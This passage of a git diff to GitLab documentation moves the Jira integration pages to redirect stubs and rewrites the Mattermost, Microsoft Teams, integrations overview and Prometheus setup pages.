-1. Select **Save changes**.
-
-Your GitLab project can now interact with all Jira projects in your instance and the project now
-displays a Jira link that opens the Jira project.
-
-#### Obtaining a transition ID
-
-In the most recent Jira user interface, you can no longer see transition IDs in the workflow
-administration UI. You can get the ID you need in either of the following ways:
-
-1. By using the API, with a request like `https://yourcompany.atlassian.net/rest/api/2/issue/ISSUE-123/transitions`
- using an issue that is in the appropriate "open" state
-1. By mousing over the link for the transition you want and looking for the
- "action" parameter in the URL
-
-Note that the transition ID may vary between workflows (for example, bug vs. story),
-even if the status you are changing to is the same.
-
-#### Disabling comments on Jira issues
-
-You can continue to have GitLab cross-link a source commit/MR with a Jira issue while disabling the comment added to the issue.
-
-See the [Configure GitLab](#configure-gitlab) section and uncheck the **Enable comments** setting.
-
-## Jira issues
-
-By now you should have [configured Jira](#configure-jira) and enabled the
-[Jira service in GitLab](#configure-gitlab). If everything is set up correctly
-you should be able to reference and close Jira issues by just mentioning their
-ID in GitLab commits and merge requests.
-
-Jira issue IDs must be formatted in uppercase for the integration to work.
-
-### Reference Jira issues
-
-When GitLab project has Jira issue tracker configured and enabled, mentioning
-Jira issues in GitLab automatically adds a comment in Jira issue with the
-link back to GitLab. This means that in comments in merge requests and commits
-referencing an issue, `PROJECT-7` for example, adds a comment in Jira issue in the
-format:
-
-```plaintext
-USER mentioned this issue in RESOURCE_NAME of [PROJECT_NAME|LINK_TO_COMMENT]:
-ENTITY_TITLE
-```
-
-- `USER` A user that mentioned the issue. This is the link to the user profile in GitLab.
-- `LINK_TO_THE_COMMENT` Link to the origin of mention with a name of the entity where Jira issue was mentioned.
-- `RESOURCE_NAME` Kind of resource which referenced the issue. Can be a commit or merge request.
-- `PROJECT_NAME` GitLab project name.
-- `ENTITY_TITLE` Merge request title or commit message first line.
-
-![example of mentioning or closing the Jira issue](img/jira_issue_reference.png)
-
-For example, the following commit references the Jira issue with `PROJECT-1` as its ID:
-
-```shell
-git commit -m "PROJECT-1 Fix spelling and grammar"
-```
-
-### Close Jira issues
-
-Jira issues can be closed directly from GitLab by using trigger words in
-commits and merge requests. When a commit which contains the trigger word
-followed by the Jira issue ID in the commit message is pushed, GitLab
-adds a comment in the mentioned Jira issue and immediately closes it (provided
-the transition ID was set up correctly).
-
-There are currently three trigger words, and you can use either one to achieve
-the same goal:
-
-- `Resolves PROJECT-1`
-- `Closes PROJECT-1`
-- `Fixes PROJECT-1`
-
-where `PROJECT-1` is the ID of the Jira issue.
-
-Note the following:
-
-- Only commits and merges into the project's default branch (usually `master`)
- close an issue in Jira. You can change your project's default branch under
- [project settings](img/jira_project_settings.png).
-- The Jira issue is not transitioned if it has a resolution.
-
-Let's consider the following example:
-
-1. For the project named `PROJECT` in Jira, we implemented a new feature
- and created a merge request in GitLab.
-1. This feature was requested in Jira issue `PROJECT-7` and the merge request
- in GitLab contains the improvement
-1. In the merge request description we use the issue closing trigger
- `Closes PROJECT-7`.
-1. Once the merge request is merged, the Jira issue is automatically closed
- with a comment and an associated link to the commit that resolved the issue.
-
-In the following screenshot you can see what the link references to the Jira
-issue look like.
-
-![A Git commit that causes the Jira issue to be closed](img/jira_merge_request_close.png)
-
-Once this merge request is merged, the Jira issue is automatically closed
-with a link to the commit that resolved the issue.
-
-![The GitLab integration closes Jira issue](img/jira_service_close_issue.png)
-
-### View Jira issues **(PREMIUM)**
-
-> [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3622) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.2.
-
-You can browse and search issues from a selected Jira project directly in GitLab. This requires [configuration](#configure-gitlab) in GitLab by an administrator.
-
-![Jira issues integration enabled](img/jira/open_jira_issues_list_v13.2.png)
-
-From the **Jira Issues** menu, click **Issues List**. The issue list defaults to sort by **Created date**, with the newest issues listed at the top. You can change this to **Last updated**.
-
-Issues are grouped into tabs based on their [Jira status](https://confluence.atlassian.com/adminjiraserver070/defining-status-field-values-749382903.html).
-
-- The **Open** tab displays all issues with a Jira status in any category other than Done.
-- The **Closed** tab displays all issues with a Jira status categorized as Done.
-- The **All** tab displays all issues of any status.
-
-Click an issue title to open its original Jira issue page for full details.
-
-#### Search and filter the issues list
-
-To refine the list of issues, use the search bar to search for any text
-contained in an issue summary (title) or description.
-
-You can also filter by labels, status, reporter, and assignee using URL parameters.
-Enhancements to be able to use these through the user interface are [planned](https://gitlab.com/groups/gitlab-org/-/epics/3622).
-
-- To filter issues by `labels`, specify one or more labels as part of the `labels[]`
-parameter in the URL. When using multiple labels, only issues that contain all specified
-labels are listed. `/-/integrations/jira/issues?labels[]=backend&labels[]=feature&labels[]=QA`
-
-- To filter issues by `status`, specify the `status` parameter in the URL.
-`/-/integrations/jira/issues?status=In Progress`
-
-- To filter issues by `reporter`, specify a reporter's Jira display name for the
-`author_username` parameter in the URL. `/-/integrations/jira/issues?author_username=John Smith`
-
-- To filter issues by `assignee`, specify their Jira display name for the
-`assignee_username` parameter in the URL. `/-/integrations/jira/issues?assignee_username=John Smith`
-
-## Troubleshooting
-
-If these features do not work as expected, it is likely due to a problem with the way the integration settings were configured.
-
-### GitLab is unable to comment on a Jira issue
-
-Make sure that the Jira user you set up for the integration has the
-correct access permission to post comments on a Jira issue and also to transition
-the issue, if you'd like GitLab to also be able to do so.
-Jira issue references and update comments do not work if the GitLab issue tracker is disabled.
-
-### GitLab is unable to close a Jira issue
-
-Make sure the `Transition ID` you set within the Jira settings matches the one
-your project needs to close an issue.
-
-Make sure that the Jira issue is not already marked as resolved; that is,
-the Jira issue resolution field is not set. (It should not be struck through in
-Jira lists.)
-
-### CAPTCHA
-
-CAPTCHA may be triggered after several consecutive failed login attempts
-which may lead to a `401 unauthorized` error when testing your Jira integration.
-If CAPTCHA has been triggered, you can't use Jira's REST API to
-authenticate with the Jira site. You need to log in to your Jira instance
-and complete the CAPTCHA.
+<!-- This redirect file can be deleted after 2021-07-07. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/jira_cloud_configuration.md b/doc/user/project/integrations/jira_cloud_configuration.md
index 8e25af3f884..b3091275835 100644
--- a/doc/user/project/integrations/jira_cloud_configuration.md
+++ b/doc/user/project/integrations/jira_cloud_configuration.md
@@ -1,27 +1,8 @@
---
-stage: Create
-group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../../../integration/jira/jira_cloud_configuration.md'
---
-# Create an API token in Jira on Atlassian cloud **(FREE)**
+This document was moved to [another location](../../../integration/jira/jira_cloud_configuration.md).
-For [integrations with Jira](jira.md), an API token is needed when integrating with Jira
-on Atlassian cloud. To create an API token:
-
-1. Log in to [`id.atlassian.com`](https://id.atlassian.com/manage-profile/security/api-tokens) with your email address.
-
- NOTE:
- It is important that the user associated with this email address has *write* access
- to projects in Jira.
-
-1. Click **Create API token**.
-
- ![Jira API token](img/jira_api_token_menu.png)
-
-1. Click **Copy**, or click **View** and write down the new API token. It is required when [configuring GitLab](jira.md#configure-gitlab).
-
- ![Jira API token](img/jira_api_token.png)
-
-The Jira configuration is complete. You need the newly created token, and the associated email
-address, when [configuring GitLab](jira.md#configure-gitlab).
+<!-- This redirect file can be deleted after <2021-06-18>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/jira_integrations.md b/doc/user/project/integrations/jira_integrations.md
index 6b938238320..485b48df01b 100644
--- a/doc/user/project/integrations/jira_integrations.md
+++ b/doc/user/project/integrations/jira_integrations.md
@@ -1,56 +1,8 @@
---
-stage: Create
-group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../../../integration/jira/index.md'
---
-# Jira integrations **(FREE)**
+This document was moved to [another location](../../../integration/jira/index.md).
-GitLab can be integrated with [Jira](https://www.atlassian.com/software/jira).
-
-[Issues](../issues/index.md) are a tool for discussing ideas, and planning and tracking work.
-However, your organization may already use Jira for these purposes, with extensive, established data
-and business processes they rely on.
-
-Although you can [migrate](../../../user/project/import/jira.md) your Jira issues and work
-exclusively in GitLab, you can also continue to use Jira by using the GitLab Jira integrations.
-
-## Integration types
-
-There are two different Jira integrations that allow different types of cross-referencing between
-GitLab activity and Jira issues, with additional features:
-
-- [Jira integration](jira.md), built in to GitLab. In a given GitLab project, it can be configured
- to connect to any Jira instance, either hosted by you or hosted in
- [Atlassian cloud](https://www.atlassian.com/cloud).
-- [Jira development panel integration](../../../integration/jira_development_panel.md). Connects all
- GitLab projects under a specified group or personal namespace.
-
-Jira development panel integration configuration depends on whether:
-
-- You're using GitLab.com or a self-managed GitLab instance.
-- You're using Jira on [Atlassian cloud](https://www.atlassian.com/cloud) or on your own server.
-
-| You use Jira on: | For the Jira development panel integration, GitLab.com customers need: | For the Jira development panel integration, GitLab self-managed customers need: |
-|:-------------------|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
-| Atlassian cloud | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview) application installed from the [Atlassian Marketplace](https://marketplace.atlassian.com). | The [GitLab.com for Jira Cloud](https://marketplace.atlassian.com/apps/1221011/gitlab-com-for-jira-cloud?hosting=cloud&tab=overview), using a workaround process. See a [relevant issue](https://gitlab.com/gitlab-org/gitlab/-/issues/268278) for more information. |
-| Your own server | The [Jira DVCS connector](../../../integration/jira_development_panel.md). | The [Jira DVCS connector](../../../integration/jira_development_panel.md). |
-
-NOTE:
-DVCS means distributed version control system.
-
-## Feature comparison
-
-The integration to use depends on the capabilities your require. You can install both at the same
-time.
-
-| Capability | Jira integration | Jira Development Panel integration |
-|:----------------------------------------------------------------------------|:--------------------------------------------------------------------------------------------------------------------------------------------------------------|:-----------------------------------------------------------------------------------------------------------------------|
-| Mention of Jira issue ID in GitLab is automatically linked to that issue | Yes | No |
-| Mention of Jira issue ID in GitLab issue/MR is reflected in the Jira issue | Yes, as a Jira comment with the GitLab issue/MR title and a link back to it. Its first mention also adds the GitLab page to the Jira issue under “Web linksâ€. | Yes, in the issue’s Development panel |
-| Mention of Jira issue ID in GitLab commit message is reflected in the issue | Yes. The entire commit message is added to the Jira issue as a comment and under “Web linksâ€, each with a link back to the commit in GitLab. | Yes, in the issue’s Development panel and optionally with a custom comment on the Jira issue using Jira Smart Commits. |
-| Mention of Jira issue ID in GitLab branch names is reflected in Jira issue | No | Yes, in the issue’s Development panel |
-| Record Jira time tracking information against an issue | No | Yes. Time can be specified via Jira Smart Commits. |
-| Transition or close a Jira issue with a Git commit or merge request | Yes. Only a single transition type, typically configured to close the issue by setting it to Done. | Yes. Transition to any state using Jira Smart Commits. |
-| Display a list of Jira issues | Yes **(PREMIUM)** | No |
-| Create a Jira issue from a vulnerability or finding **(ULTIMATE)** | Yes | No |
+<!-- This redirect file can be deleted after <2021-07-13>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/jira_server_configuration.md b/doc/user/project/integrations/jira_server_configuration.md
index b1ab2076dc0..191b8f207a1 100644
--- a/doc/user/project/integrations/jira_server_configuration.md
+++ b/doc/user/project/integrations/jira_server_configuration.md
@@ -1,68 +1,8 @@
---
-stage: Create
-group: Ecosystem
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+redirect_to: '../../../integration/jira/jira_server_configuration.md'
---
-# Create Jira Server username and password **(FREE)**
+This document was moved to [another location](../../../integration/jira/jira_server_configuration.md).
-For [integrations with Jira](jira.md), you must create a user account in Jira to have access to
-all projects that need to integrate with GitLab.
-
-The Jira user account created for the integration must have write access to
-your Jira projects.
-
-As an example, the following process creates a user named `gitlab` and that's a
-member of a new group named `gitlab-developers`:
-
-1. Sign in to your Jira instance as an administrator, and
- then go to the gear icon and select **User Management**.
-
- ![Jira user management link](img/jira_user_management_link.png)
-
-1. Create a new user account (for example, `gitlab`) with write access to
- projects in Jira. Enter the user account's name and a valid e-mail address,
- because Jira sends a verification email to set up the password.
-
- Jira creates the username by using the email prefix. You can change the
- username later, if needed. The GitLab integration doesn't support SSO (such
- as SAML). You need to create an HTTP basic authentication password. You can
- do this by visiting the user profile, looking up the username, and setting a
- password.
-
- ![Jira create new user](img/jira_create_new_user.png)
-
-1. From the sidebar, select **Groups**.
-
- ![Jira create new user](img/jira_create_new_group.png)
-
-1. In the **Add group** section, enter a **Name** for the group (for example,
- `gitlab-developers`), and then select **Add group**.
-
-1. Add the `gitlab` user to the `gitlab-developers` group by selecting **Edit members**.
- The `gitlab-developers` group should be listed in the leftmost box as a
- selected group. In the **Add members to selected group(s)** area, enter `gitlab`.
-
- ![Jira add user to group](img/jira_add_user_to_group.png)
-
- Select **Add selected users**, and `gitlab` should appear in the **Group member(s)**
- area. This membership is saved automatically.
-
- ![Jira added user to group](img/jira_added_user_to_group.png)
-
-1. To give the newly-created group 'write' access, you must create a permission
- scheme. To do this, in the admin menu, go to the gear icon and select **Issues**.
-
-1. From the sidebar, select **Permission Schemes**.
-
-1. Select **Add Permission Scheme**, enter a **Name** and (optionally) a
- **Description**, and then select **Add**.
-
-1. In the permissions scheme list, locate your new permissions scheme, and
- select **Permissions**. Next to **Administer Projects**, select **Edit**. In
- the **Group** list, select `gitlab-developers`.
-
- ![Jira group access](img/jira_group_access.png)
-
-The Jira configuration is complete. Write down the new Jira username and its
-password, as you need them when [configuring GitLab](jira.md#configure-gitlab).
+<!-- This redirect file can be deleted after <2021-06-18>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/integrations/mattermost.md b/doc/user/project/integrations/mattermost.md
index 6a93fc0fb06..0a32119d572 100644
--- a/doc/user/project/integrations/mattermost.md
+++ b/doc/user/project/integrations/mattermost.md
@@ -4,18 +4,23 @@ group: Ecosystem
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Mattermost Notifications Service **(FREE)**
+# Mattermost notifications service **(FREE)**
-The Mattermost Notifications Service allows your GitLab project to send events (e.g., `issue created`) to your existing Mattermost team as notifications. This requires configurations in both Mattermost and GitLab.
+Use the Mattermost notifications service to send notifications for GitLab events
+(for example, `issue created`) to Mattermost. You must configure both [Mattermost](#configure-mattermost-to-receive-gitlab-notifications)
+and [GitLab](#configure-gitlab-to-send-notifications-to-mattermost).
-You can also use Mattermost slash commands to control GitLab inside Mattermost. This is the separately configured [Mattermost slash commands](mattermost_slash_commands.md).
+You can also use [Mattermost slash commands](mattermost_slash_commands.md) to control
+GitLab inside Mattermost.
-## On Mattermost
+## Configure Mattermost to receive GitLab notifications
-To enable Mattermost integration you must create an incoming webhook integration:
+To use the Mattermost integration you must create an incoming webhook integration
+in Mattermost:
1. Sign in to your Mattermost instance.
-1. Visit incoming webhooks, that is something like: `https://mattermost.example.com/your_team_name/integrations/incoming_webhooks/add`.
+1. [Enable incoming webhooks](https://docs.mattermost.com/developer/webhooks-incoming.html#enabling-incoming-webhooks).
+1. [Add an incoming webhook](https://docs.mattermost.com/developer/webhooks-incoming.html#creating-integrations-using-incoming-webhooks).
1. Choose a display name, description and channel, those can be overridden on GitLab.
1. Save it and copy the **Webhook URL** because we need this later for GitLab.
@@ -29,36 +34,24 @@ to enable it on:
Display name override is not enabled by default, you need to ask your administrator to enable it on that same section.
-## On GitLab
+## Configure GitLab to send notifications to Mattermost
-After you set up Mattermost, it's time to set up GitLab.
+After the Mattermost instance has an incoming webhook set up, you can set up GitLab
+to send the notifications.
Navigate to the [Integrations page](overview.md#accessing-integrations)
-and select the **Mattermost notifications** service to configure it.
-There, you see a checkbox with the following events that can be triggered:
+and select the **Mattermost notifications** service. Select the GitLab events
+you want to generate notifications for.
-- Push
-- Issue
-- Confidential issue
-- Merge request
-- Note
-- Confidential note
-- Tag push
-- Pipeline
-- Wiki page
-- Deployment
+For each event you select, input the Mattermost channel you want to receive the
+notification. You do not need to add the hash sign (`#`).
-Below each of these event checkboxes, you have an input field to enter
-which Mattermost channel you want to send that event message. Enter your preferred channel handle (the hash sign `#` is optional).
-
-At the end, fill in your Mattermost details:
+Then fill in the integration configuration:
| Field | Description |
| ----- | ----------- |
-| **Webhook** | The incoming webhook URL which you have to set up on Mattermost, similar to: `http://mattermost.example/hooks/5xo…` |
-| **Username** | Optional username which can be on messages sent to Mattermost. Fill this in if you want to change the username of the bot. |
-| **Notify only broken pipelines** | If you choose to enable the **Pipeline** event and you want to be only notified about failed pipelines. |
-| **Branches to be notified** | Select which types of branches to send notifications for. |
-| **Labels to be notified** | Optional labels that the issue or merge request must have in order to trigger a notification. Leave blank to get all notifications. |
-
-![Mattermost configuration](img/mattermost_configuration_v2.png)
+| **Webhook** | The incoming webhook URL on Mattermost, similar to: `http://mattermost.example/hooks/5xo…`. |
+| **Username** | (Optional) The username to show on messages sent to Mattermost. Fill this in to change the username of the bot. |
+| **Notify only broken pipelines** | If you enable the **Pipeline** event and you want to be notified about failed pipelines only. |
+| **Branches to be notified** | Select which branches to send notifications for. |
+| **Labels to be notified** | (Optional) Labels that the issue or merge request must have to trigger a notification. Leave blank to get notifications for all issues and merge requests. |
diff --git a/doc/user/project/integrations/microsoft_teams.md b/doc/user/project/integrations/microsoft_teams.md
index 41e0938fc3b..795ead573f2 100644
--- a/doc/user/project/integrations/microsoft_teams.md
+++ b/doc/user/project/integrations/microsoft_teams.md
@@ -6,49 +6,55 @@ info: To determine the technical writer assigned to the Stage/Group associated w
# Microsoft Teams service **(FREE)**
-## On Microsoft Teams
+You can integrate Microsoft Teams with GitLab, and display notifications about GitLab projects
+in Microsoft Teams. To integrate the services, you must:
-To enable Microsoft Teams integration you must create an incoming webhook integration on Microsoft
-Teams by following the steps below:
+1. [Configure Microsoft Teams](#configure-microsoft-teams) to enable a webhook
+ to listen for changes.
+1. [Configure your GitLab project](#configure-your-gitlab-project) to push notifications
+ to the Microsoft Teams webhook.
-1. Search for "incoming webhook" on the search bar in Microsoft Teams and select the
- **Incoming Webhook** item.
+## Configure Microsoft Teams
+
+To configure Microsoft Teams to listen for notifications from GitLab:
+
+1. In Microsoft Teams, search for "incoming webhook" in the search bar, and select the
+ **Incoming Webhook** item:
![Select Incoming Webhook](img/microsoft_teams_select_incoming_webhook.png)
-1. Click the **Add to a team** button.
+1. Select **Add to a team**.
1. Select the team and channel you want to add the integration to.
1. Add a name for the webhook. The name is displayed next to every message that
comes in through the webhook.
-1. Copy the webhook URL for the next steps.
-
-Learn more about
-[setting up an incoming webhook on Microsoft Teams](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/connectors-using#setting-up-a-custom-incoming-webhook).
-
-## On GitLab
-
-After you set up Microsoft Teams, it's time to set up GitLab.
-
-Navigate to the [Integrations page](overview.md#accessing-integrations)
-and select the **Microsoft Teams Notification** service to configure it.
-There, you see a checkbox with the following events that can be triggered:
-
-- Push
-- Issue
-- Confidential issue
-- Merge request
-- Note
-- Tag push
-- Pipeline
-- Wiki page
-
-At the end fill in your Microsoft Teams details:
-
-| Field | Description |
-| ----- | ----------- |
-| **Webhook** | The incoming webhook URL which you have to set up on Microsoft Teams. |
-| **Notify only broken pipelines** | If you choose to enable the **Pipeline** event and you want to be only notified about failed pipelines. |
-
-After you are all done, click **Save changes** for the changes to take effect.
-
-![Microsoft Teams configuration](img/microsoft_teams_configuration.png)
+1. Copy the webhook URL, as you need it to configure GitLab.
+
+## Configure your GitLab project
+
+After you configure Microsoft Teams to receive notifications, you must configure
+GitLab to send the notifications:
+
+1. Sign in to GitLab as a user with [Administrator](../../permissions.md) and go
+ to your project's page.
+1. Go to **Settings > Integrations** and select **Microsoft Teams Notification**.
+1. Select **Active** to enable the integration.
+1. Select the check box next to each **Trigger** to enable:
+ - Push
+ - Issue
+ - Confidential issue
+ - Merge request
+ - Note
+ - Confidential note
+ - Tag push
+ - Pipeline - If you enable this trigger, you can also select **Notify only broken pipelines** to be notified only about failed pipelines.
+ - Wiki page
+1. In **Webhook**, paste the URL you copied when you
+ [configured Microsoft Teams](#configure-microsoft-teams).
+1. (Optional) If you enabled the pipeline trigger, you can select the
+ **Notify only broken pipelines** check box to push notifications only when pipelines break.
+1. Select the branches you want to send notifications for.
+1. Click **Save changes**.
+
+## Resources
+
+- [Setting up an incoming webhook on Microsoft Teams](https://docs.microsoft.com/en-us/microsoftteams/platform/webhooks-and-connectors/how-to/connectors-using#setting-up-a-custom-incoming-webhook).
diff --git a/doc/user/project/integrations/overview.md b/doc/user/project/integrations/overview.md
index f6590b6ba2f..ef1f492bfbf 100644
--- a/doc/user/project/integrations/overview.md
+++ b/doc/user/project/integrations/overview.md
@@ -24,45 +24,43 @@ want to configure.
Click on the service links to see further configuration instructions and details.
-| Service | Description | Service Hooks |
-| ------- | ----------- | ------------- |
-| Asana | Asana - Teamwork without email | No |
-| Assembla | Project Management Software (Source Commits Endpoint) | No |
-| [Atlassian Bamboo CI](bamboo.md) | A continuous integration and build server | Yes |
-| Buildkite | Continuous integration and deployments | Yes |
-| [Bugzilla](bugzilla.md) | Bugzilla issue tracker | No |
-| Campfire | Simple web-based real-time group chat | No |
-| [Confluence](../../../api/services.md#confluence-service) | Replaces the link to the internal wiki with a link to a Confluence Cloud Workspace | No |
-| Custom Issue Tracker | Custom issue tracker | No |
-| [Discord Notifications](discord_notifications.md) | Receive event notifications in Discord | No |
-| Drone CI | Continuous Integration platform built on Docker, written in Go | Yes |
-| [Emails on push](emails_on_push.md) | Email the commits and diff of each push to a list of recipients | No |
-| External Wiki | Replaces the link to the internal wiki with a link to an external wiki | No |
-| Flowdock | Flowdock is a collaboration web app for technical teams | No |
-| [Generic alerts](../../../operations/incident_management/integrations.md) **(ULTIMATE)** | Receive alerts on GitLab from any source | No |
-| [GitHub](github.md) **(PREMIUM)** | Sends pipeline notifications to GitHub | No |
-| [Hangouts Chat](hangouts_chat.md) | Receive events notifications in Google Hangouts Chat | No |
-| [HipChat](hipchat.md) | Private group chat and IM | No |
-| [Irker (IRC gateway)](irker.md) | Send IRC messages, on update, to a list of recipients through an Irker gateway | No |
-| [Jira](jira.md) | Jira issue tracker | No |
-| [Jenkins](../../../integration/jenkins.md) **(STARTER)** | An extendable open source continuous integration server | Yes |
-| JetBrains TeamCity CI | A continuous integration and build server | Yes |
-| [Mattermost slash commands](mattermost_slash_commands.md) | Mattermost chat and ChatOps slash commands | No |
-| [Mattermost Notifications](mattermost.md) | Receive event notifications in Mattermost | No |
-| [Microsoft teams](microsoft_teams.md) | Receive notifications for actions that happen on GitLab into a room on Microsoft Teams using Office 365 Connectors | No |
-| Packagist | Update your projects on Packagist, the main Composer repository | Yes |
-| Pipelines emails | Email the pipeline status to a list of recipients | No |
-| [Slack Notifications](slack.md) | Send GitLab events (for example, an issue was created) to Slack as notifications | No |
-| [Slack slash commands](slack_slash_commands.md) **(FREE SELF)** | Use slash commands in Slack to control GitLab | No |
-| [GitLab Slack application](gitlab_slack_application.md) **(FREE SAAS)** | Use Slack's official application | No |
-| PivotalTracker | Project Management Software (Source Commits Endpoint) | No |
-| [Prometheus](prometheus.md) | Monitor the performance of your deployed apps | No |
-| Pushover | Pushover makes it easy to get real-time notifications on your Android device, iPhone, iPad, and Desktop | No |
-| [Redmine](redmine.md) | Redmine issue tracker | No |
-| [EWM](ewm.md) | EWM work item tracker | No |
-| [Unify Circuit](unify_circuit.md) | Receive events notifications in Unify Circuit | No |
-| [Webex Teams](webex_teams.md) | Receive events notifications in Webex Teams | No |
-| [YouTrack](youtrack.md) | YouTrack issue tracker | No |
+| Service | Description | Service hooks |
+| --------------------------------------------------------- | -------------------------------------------------------------------------------------------- | ---------------------- |
+| [Asana](asana.md) | Add commit messages as comments to Asana tasks. | **{dotted-circle}** No |
+| Assembla | Manage projects. | **{dotted-circle}** No |
+| [Atlassian Bamboo CI](bamboo.md) | Run CI/CD pipelines with Atlassian Bamboo. | **{check-circle}** Yes |
+| [Bugzilla](bugzilla.md) | Use Bugzilla as the issue tracker. | **{dotted-circle}** No |
+| Buildkite | Run CI/CD pipelines with Buildkite. | **{check-circle}** Yes |
+| Campfire | Connect to chat. | **{dotted-circle}** No |
+| [Confluence Workspace](../../../api/services.md#confluence-service) | Replace the link to the internal wiki with a link to a Confluence Cloud Workspace. | **{dotted-circle}** No |
+| [Custom issue tracker](custom_issue_tracker.md) | Use a custom issue tracker. | **{dotted-circle}** No |
+| [Discord Notifications](discord_notifications.md) | Send notifications about project events to a Discord channel. | **{dotted-circle}** No |
+| Drone CI | Run CI/CD pipelines with Drone. | **{check-circle}** Yes |
+| [Emails on push](emails_on_push.md) | Send commits and diff of each push by email. | **{dotted-circle}** No |
+| [EWM](ewm.md) | Use IBM Engineering Workflow Management as the issue tracker. | **{dotted-circle}** No |
+| [External wiki](../wiki/index.md#link-an-external-wiki) | Link an external wiki. | **{dotted-circle}** No |
+| Flowdock | Use Flowdock with GitLab. | **{dotted-circle}** No |
+| [GitHub](github.md) | Obtain statuses for commits and pull requests. | **{dotted-circle}** No |
+| [Hangouts Chat](hangouts_chat.md) | Receive events notifications. | **{dotted-circle}** No |
+| [Irker (IRC gateway)](irker.md) | Send IRC messages. | **{dotted-circle}** No |
+| [Jenkins](../../../integration/jenkins.md) | Run CI/CD pipelines with Jenkins. | **{check-circle}** Yes |
+| JetBrains TeamCity CI | Run CI/CD pipelines with TeamCity. | **{check-circle}** Yes |
+| [Jira](jira.md) | Use Jira as the issue tracker. | **{dotted-circle}** No |
+| [Mattermost notifications](mattermost.md) | Send notifications about project events to Mattermost channels. | **{dotted-circle}** No |
+| [Mattermost slash commands](mattermost_slash_commands.md) | Perform common tasks with slash commands. | **{dotted-circle}** No |
+| [Microsoft Teams notifications](microsoft_teams.md) | Receive event notifications. | **{dotted-circle}** No |
+| Packagist | Update your projects. | **{check-circle}** Yes |
+| Pipelines emails | Send the pipeline status to a list of recipients by email. | **{dotted-circle}** No |
+| PivotalTracker | Use PivotalTracker as the issue tracker. | **{dotted-circle}** No |
+| [Prometheus](prometheus.md) | Monitor application metrics. | **{dotted-circle}** No |
+| Pushover | Get real-time notifications on your device. | **{dotted-circle}** No |
+| [Redmine](redmine.md) | Use Redmine as the issue tracker. | **{dotted-circle}** No |
+| [Slack application](gitlab_slack_application.md) | Use Slack's official GitLab application. | **{dotted-circle}** No |
+| [Slack notifications](slack.md) | Send notifications about project events to Slack. | **{dotted-circle}** No |
+| [Slack slash commands](slack_slash_commands.md) | Enable slash commands in workspace. | **{dotted-circle}** No |
+| [Unify Circuit](unify_circuit.md) | Receive events notifications. | **{dotted-circle}** No |
+| [Webex Teams](webex_teams.md) | Receive events notifications. | **{dotted-circle}** No |
+| [YouTrack](youtrack.md) | Use YouTrack as the issue tracker. | **{dotted-circle}** No |
## Push hooks limit
@@ -74,13 +72,6 @@ supported by `push_hooks` and `tag_push_hooks` events aren't executed.
The number of branches or tags supported can be changed via
[`push_event_hooks_limit` application setting](../../../api/settings.md#list-of-settings-that-can-be-accessed-via-api-calls).
-## Service templates
-
-Service templates are a way to set predefined values for a project integration across
-all new projects on the instance.
-
-Read more about [Service templates](services_templates.md).
-
## Project integration management
Project integration management lets you control integration settings across all projects
@@ -89,6 +80,19 @@ instance configuration or provide custom settings.
Read more about [Project integration management](../../admin_area/settings/project_integration_management.md).
+### Service templates
+
+[Service templates](services_templates.md) were a way to set predefined values for
+a project integration across all new projects on the instance. They are deprecated and
+[scheduled to be removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268032)
+in GitLab 14.0.
+
+GitLab recommends you use [project integration management](../../admin_area/settings/project_integration_management.md)
+instead of service templates. GitLab versions 13.3 and later provide
+[instance-level integrations](../../admin_area/settings/project_integration_management.md#project-integration-management)
+you can use.
+instead.
+
## Troubleshooting integrations
Some integrations use service hooks for integration with external applications. To confirm which ones use service hooks, see the [integrations listing](#integrations-listing) above. GitLab stores details of service hook requests made within the last 2 days. To view details of the requests, go to that integration's configuration page.
diff --git a/doc/user/project/integrations/prometheus.md b/doc/user/project/integrations/prometheus.md
index c307fd8d628..4922c8d9b62 100644
--- a/doc/user/project/integrations/prometheus.md
+++ b/doc/user/project/integrations/prometheus.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -31,6 +31,10 @@ Once enabled, GitLab detects metrics from known services in the
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/28916) in GitLab 10.5.
+**Deprecated:** Managed Prometheus on Kubernetes is deprecated, and
+scheduled for removal in [GitLab
+14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280).
+
GitLab can seamlessly deploy and manage Prometheus on a
[connected Kubernetes cluster](../clusters/index.md), to help you monitor your apps.
diff --git a/doc/user/project/integrations/prometheus_library/cloudwatch.md b/doc/user/project/integrations/prometheus_library/cloudwatch.md
index 04abb922175..0eaa9cae7c0 100644
--- a/doc/user/project/integrations/prometheus_library/cloudwatch.md
+++ b/doc/user/project/integrations/prometheus_library/cloudwatch.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
